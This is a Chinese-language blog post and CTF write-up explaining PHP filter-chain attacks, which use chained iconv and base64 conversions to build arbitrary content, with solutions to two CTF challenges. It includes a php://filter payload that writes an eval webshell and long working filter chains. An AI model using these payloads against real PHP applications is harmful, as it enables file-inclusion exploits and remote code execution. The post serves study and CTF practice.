March 2, 2023

FilterChain攻击解析及利用

BASE64解码和编码原理浅析

Encoding

Base64编码字符表如下,编码过后的字符只能在下面范围内选(还有等号”=”)
image.png
Base64编码是从3->4的编码,也就是从三个字节变成四个字节的过程,假如编码字符总数不是3或者不是3的倍数,空缺部分会用”=”补齐,例如:
Boo->Qm9vBoog->Qm9vZw==
这两个例子符合我们所说的规则,第一个由3变成4,第二个是4(不是3的倍数)因此最后字符数字为8,有2个等号进行补齐了,很简单的原理

Decoding

解码也就是编码的你过程,理所当然就是4->3的过程,这一点也不需要演示了,很基础的知识
而且当我们把补齐的等号去除后,依然可以成功解码,比如Qm9vZw->Boog
上面我们提到了有效字符,假如需要解码的字符串中包含无效字符,那么就会忽略掉那些字符,只对有效字符进行解码,这是base64的一个特性,这里叫他宽松性。也就是说Qm<?9v(Z$w->Boo
无效字符不会进行解码,在之前讲的file_put_contents与死亡代码中我们就用到了这一特性

Filterchain构造(原理阐述)

回顾死亡代码

file_put_contents与死亡代码
在这里回顾一下之前的死亡代码和file_put_contents的利用中,有一条bypass分支,就是利用``
其中有一条payload是利用iconv去反转字符进行bypass

payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱;载荷效果如下:image.png

而今天我们要说的filterChain也和iconv中的编码有关。iconv -l可以查看本地的iconv编码:
image.png

特性一(双重去杂)

接下来我们来写一个Demo,看看会输出什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$content1=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,bbb');
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

运行结果如下:
image.png
经过从UTF-8->CSISO2022KR后,bbb变成了七个字节,为什么只显示3个bbb是因为其余的是不可见字符,我们可以将十六进制去转换一下:
image.png
在这里就要介绍filter第一个特性了,也就是强制显示(这一点是根据Decoding阶段忽略无效字符得出的)

根据上述Decoding阶段filter不解析无效字符,拿上述输出结果中的第二条数据来看,我们已经看到了第一条输出结果中16进制是什么字符串,也就是说有效字符只有Cbbb,我们对其进行base64的decoding,符合4->3因此解码出的虽然是乱码,但是只有3个字符,因此是符合我们的规则的,这一点我叫其双重去杂

特性二(粘合性)

先看下列的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$content1=file_get_contents("php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4/resource=data://,bbb");
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

上述代码的输出结果如下:
image.png
发现了什么规律没有?第一条输出结果是一个新的构造,构造出了字符"1",和异或有点像,然后第二条输出结果就是特性一中的那一条。第三条输出结果是在第二条结果的过滤器基础上加上了第一条的过滤器,得出的结果就是构造出的"1"在第一位,然后其他的往后推移了一位,这样就把构造出的1C连接在了一起,大胆设想一下,我们只要能构造26个字母以及所有数字,是不是理论就可以通过这个filterchain获取任意的语句了?
这个特性我叫它粘合性,因为构造出的字符可以拼贴在一起

任意字符构造

这里我放上3个大佬写的FUZZ及Generate的脚本,推荐把源码看一看,理一理思路:
https://github.com/synacktiv/php_filter_chain_generator
我选择了探姬师傅的改良版,我们可以看一下res文件夹下的fuzz结果:
image.png
对应的都是生成的字母,根据探姬师傅的优化版还有一个py字典:
image.png
这个Fuzz字典的原理是利用iconv -l查看本地编码集,然后放入iconv_list数组中:
image.png
最后在Fuzzer.php进行rand打乱组合:
image.png
我们根据Dictionary.py中的字典,我们手动测试一下到底是怎么回事,比如我们要构造<?php phpinfo();?>首先我们需要得到它的base64字符串PD9waHAgcGhwaW5mbygpOz8+,然后把这个字符串逆序+8zOpgybm5WawhGcgAHaw9DP(因为新嵌套的过滤器所生成的字符是拼接在最前面,因此需要逆序),我们利用工具可以得出结果:
image.png
(指定你读取的文件和需要的字符串)
我们本地新建一个flag文件内容是test_flagaaaaaaaaaaaaaaa(加3的倍数的a,为了保证encoding的时候不出问题,并且保证test_flag不被新添的字符覆盖),然后用脚本跑出结果:
image.png
最后我们进行一个测试:

1
2
3
4
<?php
var_dump(file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=flag"));
var_dump(file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag"))
?>

输出结果如下:
image.png
可以发现由于双重性的存在,不可见字符被抹去了,最后变成了目标内容

php://temp

在这里插入一条知识点,就是temp和memory伪协议:
php://memory php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致
php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件

1
2
3
4
5
6
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
fputs($fp, "hello\n");
// 读取写入的数据.
rewind($fp);
echo stream_get_contents($fp);

php://memory 和 php://temp 是一次性的,比如:stream 流关闭后,就无法再次得到以前的内容了

1
2
file_put_contents('php://memory', 'PHP');
echo file_get_contents('php://memory'); // 啥也没有

NssCTF - brokenFilterChain

Attachment:
brokenFilterChain.php
这里的附件就是一个filterchain链:
image.png
运行过后会发现乱码问题,这也就是上述例子中所说的补齐问题,由于文件内容长度不是3的倍数,会导致出现乱码等问题,因此我们把过滤器中最后一个convert.base64-decode去掉得到
NssssCTFeyAgphhpRmlsdGVyQ2hhMW5fW4sS0FunICB9GyQp
分组过后:

1
Nsss sCTF eyAg phhp Rmls dGVy Q2hh MW5f W4sS 0Fun ICB9GyQp

对照:
eyAg——{
RmlsdGVyQ2hhMW5f——FilterCha1n_
ICB9G—— }
过滤合法字符的base64串:
Nsss sCTF phhp W4sS 0Fun
拼接得到flag:
NssssCTF{phhpFilterCha1n_W4sS0Fun}

[idekCTF 2022]Paywall

这里直接放核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);
set_include_path('articles/');

if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);

if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}

?>

在index.php有2个跳转界面:
image.png
其中flag对应的就是flag文件,上述核心代码很简单,文件必须是以FREE开头,不能以PREMIUM开头,当我们访问flag文件时,返回的是Thank you for your interest in The idek Times, but this article is only for premium users!说明flag是以PREMIUM开头的,这里我们就可以利用filterchain,把FREE拼在前面,这里需要注意FREE的BASE64编码为:RlJFRQ==,FREE是四个字节,不是3的倍数,因此会出现等号
由于存在过滤器iconv.UTF-8.UTF-7过滤器存在,因此等号会被抹除:
image.png(这里flag的内容就是FREE的base64编码)
因此我们需要补齐为3的倍数,也就是添加一个FREEbb到最前面即可

嗯就在我写到这里的时候我发现一个天大的笑话,Windows没有iconv字符集,因此我fuzz那么久都在打水漂,我是傻逼对不起,放到linux就好了,光速生成:
image.png

小结

Filterchain和命令执行中的异或RCE以及CBC字节翻转有着异曲同工之妙,也就是这些小tips让我成功的对ctf上瘾了(bushi)
这是在打一个比赛的时候看到的tips,通过这次学习也是认识到了想象力是无穷的,总会有一些有趣的tips让你着迷

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#文件包含#伪协议